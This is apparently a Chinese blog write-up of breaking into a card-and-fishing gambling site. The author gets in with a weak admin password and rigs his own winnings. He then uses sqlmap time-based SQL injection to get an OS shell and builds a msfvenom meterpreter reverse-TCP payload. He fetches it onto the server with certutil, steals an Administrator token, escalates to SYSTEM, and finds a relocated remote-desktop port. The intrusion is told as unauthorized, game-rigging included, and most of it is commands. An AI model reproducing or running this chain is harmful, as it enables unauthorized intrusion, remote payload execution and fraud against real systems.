某棋牌站點注入到提權之路

0x01 前言

在某某附近人發來送￥的邀請截圖，在棋牌捕魚上面把贈送的金額打光之后、隨之來做個滲透測試....通過意見反饋打到后臺地址以及cookie過期....之后

0x02 開始滲透

開局一個后臺

界面挺不錯的有點高級高級的感覺，咱先來試試弱口令

咦....直接進去了。隨后把賬戶的勝利調到了百分比

打了一上午魚之后，金幣高達52w

突然感覺好像有點什么不對，，，，咱是來做滲透的不是來捕魚的吧

滲透棋牌不登陸到服務器界面怎么合適呢

咳咳...繼續滲透

后臺沒有上傳點 配置文件也不知道路徑在哪 ...有點棘手

我們回到登陸框 在賬戶上加個單引號試試看看有沒有sqli

嗯哼..點登陸沒反應抓包sqlmap一把梭

嗯...很強 存在延時注入

我們繼續看看是否dba權限

ture看來運氣很好啊 直接--os-shell

權限有點小啊 ，，，但問題不大 掏出我們的msf

msfvenom -p windows/meterpreter/reverse_tcp lhost="外網ip地址" lport="監聽端口" -f exe > msf.exe 生成木馬

放置外網方便使我們的目標服務器下載

先在目標服務器創建一個放置木馬的文件夾

md c:\test

我們使用certutil.exe進行下載

certutil.exe -urlcache -split -f “木馬下載地址” C:\test\test.exe

木馬下載成功我們回到msf

設置使用exploit/multi/handler模塊

設置payload

show options 看看需要配置的參數

set LHOST “外網ip” //于木馬的ip一致set LPORT "端口" //于木馬的監聽端口一致

隨后 run執行

緊接著目標服務器運行木馬

成功反彈shell

因為我們的權限太小所以我們現在要先進行提權

使用use incognito來加載會話令牌模塊

然后list_tokens -u來列出會話令牌

使用impersonate_token "WIN-IGSV8O3CA7E\Administrator" 盜取 administrator 令牌 getuid查看一下

嘿嘿嘿 

最最最后使用getsystem來獲取system權限

咳咳 接下來就是shell進入

cmd提取命令一把梭

接下來就是快快樂樂的登陸遠程服務器了

美滋滋的~~

（然而事情沒那么簡單~）

咦....

內部出現錯誤 咋回事了....難道遠程端口被改了嗎。。。。

nmap出動掃描一下端口

沒有開放3389 ...... 確定以及肯定是改端口了我們回到shell看看

執行 tasklist /svc

找到svchost.exe進程下termservice服務對應的PID

再執行netstat -ano

根據PID號查找對應遠程端口，遠程端口為5566端口

嘿~這次能完美手工了吧

Very Good~